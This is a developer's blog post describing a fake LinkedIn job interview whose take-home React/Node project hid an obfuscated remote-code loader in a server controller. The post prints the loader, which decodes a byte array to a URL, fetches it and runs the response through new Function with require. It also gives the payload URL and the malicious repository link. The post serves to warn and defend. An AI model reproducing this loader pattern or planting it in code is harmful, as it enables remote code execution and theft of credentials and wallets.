I almost got hacked by a 'job interview'

I was 30 seconds away from running malware on my machine. The attack vector? A fake coding interview from a "legitimate" blockchain company. Here's how a sophisticated scam operation almost got me, and why every developer needs to read this. The Setup Last week, I got a LinkedIn message from Mykola Yanchii. Chief Blockchain Officer at Symfa. Real company. Real LinkedIn profile. 1,000+ connections. The works. The message was smooth. Professional. "We're developing BestCity, a platform aimed at transforming real estate workflows. Part-time roles available. Flexible structure." I've been freelancing for 8 years. Built web applications, worked on various projects, done my share of code reviews. I'm usually paranoid about security - or so I thought. This looked legit. So I said yes to the call. The Hook Before our meeting, Mykola sent me a "test project" - standard practice for tech interviews. A React/Node codebase to evaluate my skills. 30-minute test. Simple enough. The Bitbucket repo looked professional. Clean README. Proper documentation. Even had that corporate stock photo of a woman with a tablet standing in front of a house. You know the one. Here's where I almost screwed up: I was running late for our call. Had about 30 minutes to review the code. So I did what lazy developers do - I started poking around the codebase without running it first. Usually, I sandbox everything. Docker containers. Isolated environments. But I was in a rush. I spent 30 minutes fixing obvious bugs, adding a docker-compose file, cleaning up the code. Standard stuff. Ready to run it and show my work. Then I had one of those paranoid developer moments. The Save Before hitting npm start , I threw this prompt at my Cursor AI agent: "Before I run this application, can you see if there are any suspicious code in this codebase? Like reading files it shouldn't be reading, accessing crypto wallets etc." And holy sh*t. Sitting right in the middle of server/controllers/userController.js was this beauty: ( async () => { const byteArray = [ 104 , 116 , 116 , 112 , 115 , 58 , 47 , 47 , 97 , 112 , 105 , 46 , 110 , 112 , 111 , 105 , 110 , 116 , 46 , 105 , 111 , 47 , 50 , 99 , 52 , 53 , 56 , 54 , 49 , 50 , 51 , 57 , 99 , 51 , 98 , 50 , 48 , 51 , 49 , 102 , 98 , 57 ]; const uint8Array = new Uint8Array (byteArray); const decoder = new TextDecoder( 'utf-8' ); axios.get(decoder.decode(uint8Array)) .then( response => { new Function ( "require" , response.data.model)( require ); }) .catch( error => { }); })(); Obfuscated. Sneaky. Evil. And 100% active - embedded between legitimate admin functions, ready to execute with full server privileges the moment admin routes were accessed. I decoded that byte array: https://api.npoint.io/2c458612399c3b2031fb9 When I first hit the URL, it was live. I grabbed the payload. Pure malware. The kind that steals everything - crypto wallets, files, passwords, your entire digital existence. Here's the kicker: the URL died exactly 24 hours later. These guys weren't messing around - they had their infrastructure set up to burn evidence fast. I ran the payload through VirusTotal - check out the behavior analysis yourself. Spoiler alert: it's nasty. The Operation This wasn't some amateur hour scam. This was sophisticated: The LinkedIn Profile: Mykola Yanchii looked 100% real. Chief Blockchain Officer. Proper work history. Even had those cringy LinkedIn posts about "innovation" and "blockchain consulting." The Company: Symfa had a full LinkedIn company page. Professional branding. Multiple employees. Posts about "transforming real estate with blockchain." They even had affiliated pages and follower networks. The Approach: No red flags in the initial outreach. Professional language. Reasonable project scope. They even used Calendly for scheduling. The Payload: The malicious code was positioned strategically in the server-side controller, ready to execute with full Node.js privileges when admin functionality was accessed. The Psychology Here's what made this so dangerous: Urgency: "Complete the test before the meeting to save time." Authority: LinkedIn verified profile, real company, professional setup. Familiarity: Standard take-home coding test. Every developer has done dozens of these. Social Proof: Real company page with real employees and real connections. I almost fell for it. And I'm paranoid about this stuff. The Lesson One simple AI prompt saved me from disaster. Not fancy security tools. Not expensive antivirus software. Just asking my coding assistant to look for suspicious patterns before executing unknown code. The scary part? This attack vector is perfect for developers. We download and run code all day long. GitHub repos, npm packages, coding challenges. Most of us don't sandbox every single thing. And this was server-side malware. Full Node.js privileges. Access to environment variables, database connections, file systems, crypto wallets. Everything. The Scale If this sophisticated operation is targeting developers at scale, how many have already been compromised? How many production systems are they inside right now? Perfect Targeting: Developers are ideal victims. Our machines contain the keys to the kingdom: production credentials, crypto wallets, client data. Professional Camouflage: LinkedIn legitimacy, realistic codebases, standard interview processes. Technical Sophistication: Multi-layer obfuscation, remote payload delivery, dead-man switches, server-side execution. One successful infection could compromise production systems at major companies, crypto holdings worth millions, personal data of thousands of users. The Bottom Line If you're a developer getting LinkedIn job opportunities: Always sandbox unknown code. Docker containers, VMs, whatever. Never run it on your main machine. Use AI to scan for suspicious patterns. Takes 30 seconds. Could save your entire digital life. Verify everything. Real LinkedIn profile doesn't mean real person. Real company doesn't mean real opportunity. Trust your gut. If someone's rushing you to execute code, that's a red flag. This scam was so sophisticated it fooled my initial BS detector. But one paranoid moment and a simple AI prompt exposed the whole thing. The next time someone sends you a "coding challenge," remember this story. Your crypto wallet will thank you. If you're a developer who has run "coding challenges" from LinkedIn recruiters, you should probably read this twice. the LinkedIn profiles Messages bit bucket https://bitbucket.org/0x3bestcity/test_version/src/main/ - not sure how long this will stay up though.